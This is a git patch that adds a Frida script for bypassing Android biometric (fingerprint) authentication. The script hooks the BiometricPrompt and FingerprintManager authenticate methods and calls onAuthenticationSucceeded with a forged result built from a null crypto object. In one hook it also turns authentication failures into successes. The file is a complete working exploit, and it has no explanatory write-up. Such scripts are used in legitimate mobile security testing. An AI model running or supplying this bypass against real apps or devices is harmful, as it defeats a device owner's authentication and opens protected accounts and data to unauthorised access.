From 9dfa176c1e31d8a1dd9b07a614e076d2e8e412ac Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=D0=A1=D1=83=D1=85=D0=B0=D1=81=20=D0=94=D1=85=D0=BE=D0=BB?= =?UTF-8?q?=D0=B7?= <55411358+GTekSD@users.noreply.github.com> Date: Tue, 20 Aug 2024 13:13:11 +0530 Subject: [PATCH] Create Android-Biometric-Bypass-NULL-cryptoObject.js --- ...roid-Biometric-Bypass-NULL-cryptoObject.js | 188 ++++++++++++++++++ 1 file changed, 188 insertions(+) create mode 100644 frida-scripts/Android-Biometric-Bypass-NULL-cryptoObject.js diff --git a/frida-scripts/Android-Biometric-Bypass-NULL-cryptoObject.js b/frida-scripts/Android-Biometric-Bypass-NULL-cryptoObject.js new file mode 100644 index 0000000..0fbc75c --- /dev/null +++ b/frida-scripts/Android-Biometric-Bypass-NULL-cryptoObject.js @@ -0,0 +1,188 @@ +/* + Android Biometric Bypass NULL cryptoObject + author: Сухас Дхолз - github.com/gteksd + This script will bypass authentication when the crypto object is not used. + The authentication implementation relies on the callback onAuthenticationSucceded being called. + Bypass fingerprint authentication if the app accept NULL cryptoObject in onAuthenticationSucceeded(...). + This script should automatically bypass fingerprint when authenticate(...) method will be called. +*/ + +Java.perform(function () { + //Call in try catch as Biometric prompt is supported since api 28 (Android 9) + try { hookBiometricPrompt_authenticate(); } + catch (error) { console.log("hookBiometricPrompt_authenticate not supported on this android version") } + try { hookBiometricPrompt_authenticate2(); } + catch (error) { console.log("hookBiometricPrompt_authenticate not supported on this android version") } + try { hookFingerprintManagerCompat_authenticate(); } + catch (error) { console.log("hookFingerprintManagerCompat_authenticate failed"); } + try { hookFingerprintManager_authenticate(); } + catch (error) { console.log("hookFingerprintManager_authenticate failed"); } +}); + + +var cipherList = []; +var StringCls = null; +Java.perform(function () { + StringCls = Java.use('java.lang.String'); + + +}); + +function getArgsTypes(overloads) { + // there should be just one overload for the constructor + // overloads.len == 1 check + var results = [] + var i,j; + for (i in overloads) { + console.log('[*] Overload number ind: '+i); + //if (overloads[i].hasOwnProperty('argumentTypes')) { + var parameters = [] + for (j in overloads[i].argumentTypes) { + parameters.push("'" + overloads[i].argumentTypes[j].className + "'") + } + // } + results.push('(' + parameters.join(', ') + ');') + } + return results.join('\n') +} + +function getAuthResult(resultObj, cryptoInst) { + //var clax = Java.use('android.hardware.biometrics.BiometricPrompt$AuthenticationResult'); + var clax = resultObj; + var resu = getArgsTypes(clax['$init'].overloads); + //console.log(resu); + resu = resu.replace(/\'android\.hardware\.biometrics\.BiometricPrompt\$CryptoObject\'/, 'cryptoInst'); + resu = resu.replace(/\'android\.hardware\.fingerprint\.FingerprintManager\$CryptoObject\'/, 'cryptoInst'); + resu = resu.replace('\'int\'', '0'); + resu = resu.replace('\'boolean\'', 'false'); + resu = resu.replace(/'.*'/, 'null'); + //console.log(resu); + resu = "resultObj.$new"+resu; + var authenticationResultInst = eval(resu); + console.log("cryptoInst:, " + cryptoInst + " class: " + cryptoInst.$className); + return authenticationResultInst; +} + +function getBiometricPromptAuthResult() { + var sweet_cipher = null; + var cryptoObj = Java.use('android.hardware.biometrics.BiometricPrompt$CryptoObject'); + var cryptoInst = cryptoObj.$new(sweet_cipher); + var authenticationResultObj = Java.use('android.hardware.biometrics.BiometricPrompt$AuthenticationResult'); + var authenticationResultInst = getAuthResult(authenticationResultObj, cryptoInst); + return authenticationResultInst +} + +function hookBiometricPrompt_authenticate() { + var biometricPrompt = Java.use('android.hardware.biometrics.BiometricPrompt')['authenticate'].overload('android.os.CancellationSignal', 'java.util.concurrent.Executor', 'android.hardware.biometrics.BiometricPrompt$AuthenticationCallback'); + console.log("Hooking BiometricPrompt.authenticate()..."); + biometricPrompt.implementation = function (cancellationSignal, executor, callback) { + console.log("[BiometricPrompt.BiometricPrompt()]: cancellationSignal: " + cancellationSignal + ", executor: " + ", callback: " + callback); + var authenticationResultInst = getBiometricPromptAuthResult(); + callback.onAuthenticationSucceeded(authenticationResultInst); + console.log("[BiometricPrompt.BiometricPrompt()]: callback.onAuthenticationSucceeded(NULL) called!"); + } +} + +function hookBiometricPrompt_authenticate2() { + var biometricPrompt = Java.use('android.hardware.biometrics.BiometricPrompt')['authenticate'].overload('android.hardware.biometrics.BiometricPrompt$CryptoObject', 'android.os.CancellationSignal', 'java.util.concurrent.Executor', 'android.hardware.biometrics.BiometricPrompt$AuthenticationCallback'); + console.log("Hooking BiometricPrompt.authenticate2()..."); + biometricPrompt.implementation = function (crypto, cancellationSignal, executor, callback) { + console.log("[BiometricPrompt.BiometricPrompt2()]: crypto:" + crypto + ", cancellationSignal: " + cancellationSignal + ", executor: " + ", callback: " + callback); + var authenticationResultInst = getBiometricPromptAuthResult(); + callback.onAuthenticationSucceeded(authenticationResultInst); + } +} + +function hookFingerprintManagerCompat_authenticate() { + /* + void authenticate (FingerprintManagerCompat.CryptoObject crypto, + int flags, + CancellationSignal cancel, + FingerprintManagerCompat.AuthenticationCallback callback, + Handler handler) + */ + var fingerprintManagerCompat = null; + var cryptoObj = null; + var authenticationResultObj = null; + try { + fingerprintManagerCompat = Java.use('android.support.v4.hardware.fingerprint.FingerprintManagerCompat'); + cryptoObj = Java.use('android.support.v4.hardware.fingerprint.FingerprintManagerCompat$CryptoObject'); + authenticationResultObj = Java.use('android.support.v4.hardware.fingerprint.FingerprintManagerCompat$AuthenticationResult'); + } catch (error) { + try { + fingerprintManagerCompat = Java.use('androidx.core.hardware.fingerprint.FingerprintManagerCompat'); + cryptoObj = Java.use('androidx.core.hardware.fingerprint.FingerprintManagerCompat$CryptoObject'); + authenticationResultObj = Java.use('androidx.core.hardware.fingerprint.FingerprintManagerCompat$AuthenticationResult'); + } + catch (error) { + console.log("FingerprintManagerCompat class not found!"); + return + } + } + console.log("Hooking FingerprintManagerCompat.authenticate()..."); + var fingerprintManagerCompat_authenticate = fingerprintManagerCompat['authenticate']; + fingerprintManagerCompat_authenticate.implementation = function (crypto, flags, cancel, callback, handler) { + console.log("[FingerprintManagerCompat.authenticate()]: crypto: " + crypto + ", flags: " + flags + ", cancel:" + cancel + ", callback: " + callback + ", handler: " + handler); + //console.log(enumMethods(callback.$className)); + callback['onAuthenticationFailed'].implementation = function () { + console.log("[onAuthenticationFailed()]:"); + var sweet_cipher = null; + var cryptoInst = cryptoObj.$new(sweet_cipher); + var authenticationResultInst = getAuthResult(authenticationResultObj, cryptoInst); + callback.onAuthenticationSucceeded(authenticationResultInst); + } + return this.authenticate(crypto, flags, cancel, callback, handler); + } +} + +function hookFingerprintManager_authenticate() { + /* + public void authenticate (FingerprintManager.CryptoObject crypto, + CancellationSignal cancel, + int flags, + FingerprintManager.AuthenticationCallback callback, + Handler handler) +Error: authenticate(): has more than one overload, use .overload() to choose from: + .overload('android.hardware.fingerprint.FingerprintManager$CryptoObject', 'android.os.CancellationSignal', 'int', 'android.hardware.fingerprint.FingerprintManager$AuthenticationCallback', 'android.os.Handler') + .overload('android.hardware.fingerprint.FingerprintManager$CryptoObject', 'android.os.CancellationSignal', 'int', 'android.hardware.fingerprint.FingerprintManager$AuthenticationCallback', 'android.os.Handler', 'int') + */ + var fingerprintManager = null; + var cryptoObj = null; + var authenticationResultObj = null; + try { + fingerprintManager = Java.use('android.hardware.fingerprint.FingerprintManager'); + cryptoObj = Java.use('android.hardware.fingerprint.FingerprintManager$CryptoObject'); + authenticationResultObj = Java.use('android.hardware.fingerprint.FingerprintManager$AuthenticationResult'); + } catch (error) { + try { + fingerprintManager = Java.use('androidx.core.hardware.fingerprint.FingerprintManager'); + cryptoObj = Java.use('androidx.core.hardware.fingerprint.FingerprintManager$CryptoObject'); + authenticationResultObj = Java.use('androidx.core.hardware.fingerprint.FingerprintManager$AuthenticationResult'); + } + catch (error) { + console.log("FingerprintManager class not found!"); + return + } + } + console.log("Hooking FingerprintManager.authenticate()..."); + + + + var fingerprintManager_authenticate = fingerprintManager['authenticate'].overload('android.hardware.fingerprint.FingerprintManager$CryptoObject', 'android.os.CancellationSignal', 'int', 'android.hardware.fingerprint.FingerprintManager$AuthenticationCallback', 'android.os.Handler'); + fingerprintManager_authenticate.implementation = function (crypto, cancel, flags, callback, handler) { + console.log("[FingerprintManager.authenticate()]: crypto: " + crypto + ", flags: " + flags + ", cancel:" + cancel + ", callback: " + callback + ", handler: " + handler); + var sweet_cipher = null; + var cryptoInst = cryptoObj.$new(sweet_cipher); + var authenticationResultInst = getAuthResult(authenticationResultObj, cryptoInst); + callback.onAuthenticationSucceeded(authenticationResultInst); + return this.authenticate(crypto, cancel, flags, callback, handler); + } +} + + +function enumMethods(targetClass) { + var hook = Java.use(targetClass); + var ownMethods = hook.class.getDeclaredMethods(); + + return ownMethods; +}